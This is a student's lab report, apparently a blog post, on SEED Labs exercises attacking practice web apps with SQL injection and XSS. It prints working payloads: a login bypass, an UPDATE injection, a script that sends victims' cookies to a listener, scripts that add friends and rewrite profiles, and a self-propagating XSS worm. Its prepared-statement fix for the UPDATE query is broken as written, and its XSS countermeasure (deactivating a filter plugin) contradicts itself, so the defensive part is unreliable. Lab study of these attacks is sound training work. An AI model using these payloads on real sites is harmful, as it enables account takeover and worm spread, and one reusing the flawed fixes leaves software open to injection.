# 20251916 2025-2026-2 《网络攻防实践》实践10报告

1.实践内容

本周学习了 Web 应用程序安全攻防的核心技术,重点掌握了 SQL 注入和跨站脚本攻击 (XSS) 的原理、利用方法及防御措施。本次实践通过 SEED Lab 提供的两个经典实验环境,深入体验了这两种最常见的 Web 漏洞攻击过程:
SQL 注入攻击与防御:利用 Web 应用程序对用户输入过滤不严的漏洞,通过构造恶意 SQL 语句,实现未授权登录、修改数据库信息等攻击,并学习使用预处理语句等方法修复漏洞。
XSS 跨站脚本攻击:在 Elgg 社交网络平台上,通过注入恶意 JavaScript 代码,实现弹窗显示、窃取 Cookie、自动加好友、修改用户信息等攻击,并编写 XSS 蠕虫实现自动传播,最后掌握 XSS 的防御技术。

2.实践过程

2.1 SEED SQL 注入攻击与防御实验

2.1.1 熟悉 SQL 语句

修改主机名为yxz
image

首先登入mysql,-u代表输入的用户名,-p代表输入的用户密码
1780195802451

执行show databases,查看数据库中有哪些数据结构
1780197651882

执行use Users,指定一个库
1780197697186

执行show tables;查看库中有哪些具体的表
1780197776100

执行select * from credential;查看表中的所有数据
1780211811416

执行select * from credential where Name = 'Samy'; 查询Samy的相关记录
![image]1780211876863

2.1.2 对 SELECT 语句的 SQL 注入攻击

上述过程用的seed Ubuntu9版本太老,打不开网页,于是重新下载了seed Ubuntu16,上述过程不再重复。
在不知道管理员密码的情况下登录 Web 应用程序,访问 Web 应用www.SEEDLabSQLInjection.com
image

查看当前网页的云代码,分析登录页面的 SQL 查询逻辑
image

构造恶意用户名:admin' #,#是 SQL 中的注释符,它会注释掉后面的密码验证部分,使得 SQL 语句变为:SELECT ... FROM credential WHERE eid='admin' #' and password='123456'
image

密码输入任意内容都可登入
image
这样只验证了用户名,跳过了密码验证。

2.1.3 对 UPDATE 语句的 SQL 注入攻击

进入个人信息编辑页面,查看 Edit_Profile页面的源代码
image

打开unsafe_edit_backend.php查看,分析 UPDATE 语句逻辑
image

在 "Nickname" 字段中输入恶意内容:', salary='20251916' WHERE eid='Admin' #,点击更新,成功将 Admin 的薪水修改为20251916
image

2.1.4 SQL 对抗:修复 SQL 注入漏洞

通过语句预处理机制来修复SQL注入漏洞。
修改unsafe.php文件中的内容
修复SELECT 登录语句:

$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
                        FROM credential
                        WHERE eid=? and password=?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();

image

修复 UPDATE 更新语句:

$stmt = $conn->prepare("UPDATE credential
                        SET nickname=?, email=?, address=?, Password=?, Phone=?
                        WHERE eid=?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();

image

重新测试之前的攻击,发现注入不再生效,漏洞修复成功。
image

2.2 SEED XSS 跨站脚本攻击实验 (Elgg)

2.2.1 发布恶意消息,显示警报窗口

打开浏览器,访问 http://www.xsslabelgg.com 。使用账号Alice,密码seedalice登录系统
image

点击右侧菜单栏中的 "Edit profile" 进入个人资料编辑页面。找到 "Brief description" 输入框,输入 XSS 攻击代码
image

点击页面底部的 "Save" 按钮保存修改
image

再次进入 Alice 的个人资料编辑页面,将 "Brief description" 输入框中的内容修改为
image
保存后页面自动刷新,弹出显示当前用户 Cookie 信息的警报窗口

2.2.3 窃取受害者的 Cookies

打开终端,执行命令nc -l 5555 -v,监听本地 5555 端口
image

再次进入 Alice 的个人资料编辑页面,将 "Brief description" 输入框输入窃取 Cookie 的代码<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');</script>

image

终端窗口显示接收到的 HTTP 请求,其中包含了受害者的 Cookie 信息
image

2.2.4 成为受害者的朋友

登录 Alice 账号,访问 Boby 的个人资料页面:http://www.xsslabelgg.com/profile/boby
image

点击 "Add friend" 按钮添加 Boby 为好友,打开浏览器开发者工具 (F12),切换到 "Network" 标签页,找到添加好友的 GET 请求,查看请求 URL,获取 Boby 的 id 为 45,以及__elgg_ts和__elgg_token参数
image

删除 Boby 好友,准备构造 XSS 攻击代码。进入 Alice 的个人资料编辑页面,在 "About me" 输入框中输入以下代码:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

image

访问 Alice 的个人资料页面后,Alice 的好友列表中显示 Boby
image

2.2.5 修改受害者的信息

构造修改用户个人资料的 JavaScript 代码

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This have been cracked by yxz.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

当受害者访问 Alice 的主页时,可以看见其个人简介被修改
image

2.2.6 编写 XSS 蠕虫

编写能够自我复制的 XSS 蠕虫代码,在Alice的About me中写入

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>20251916yxz"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image

当第一个用户访问被感染的页面时,其个人简介会被注入蠕虫代码;当其他用户访问这个被感染用户的页面时,也会被感染,从而实现蠕虫的自动传播。
用boby的账户浏览Alice的主页,可以看到Alice简介被修改
image

2.2.7 对抗 XSS 攻击

登录Admin账号,依次点击plugin-----HTMLawed ——>改为Deactivate
image

再执行一次XSS攻击,发现攻击失败
image

3.学习中遇到的问题及解决

  • 问题1:MySQL 中看不到实验要求的数据库
  • 问题1解决方案:最老版本 SEED 虚拟机未预装实验数据库,手动执行 SQL 语句创建Users数据库和credential表,并插入测试数据。
  • 问题2:打开 Firefox 显示 "Well, this is embarrassing." 会话恢复错误。
  • 问题2解决方案:虚拟机异常关闭导致 Firefox 会话文件损坏,点击 "Start New Session" 创建全新会话,不要点击 "Restore"。

4.实践总结

SQL 注入攻击的本质是将用户输入作为 SQL 命令的一部分执行,防御的核心是将数据和代码分离,使用预处理语句是最有效的防御手段。XSS 攻击的本质是将恶意脚本注入到网页中,在用户浏览器中执行,防御的核心是对用户输入进行严格的过滤和转义。通过此次实践,我加深了对 SEED 实验环境架构的理解,学会了排查 Web 应用和数据库连接问题的基本方法。在实验中遇到问题时,从原理出发逐步排查,比盲目尝试各种方法更有效。同时也体会到了实验环境版本差异带来的影响,学会了根据实际情况调整实验步骤。

posted @ 2026-06-02 19:48  杨小烊  阅读(18)  评论(0)    收藏  举报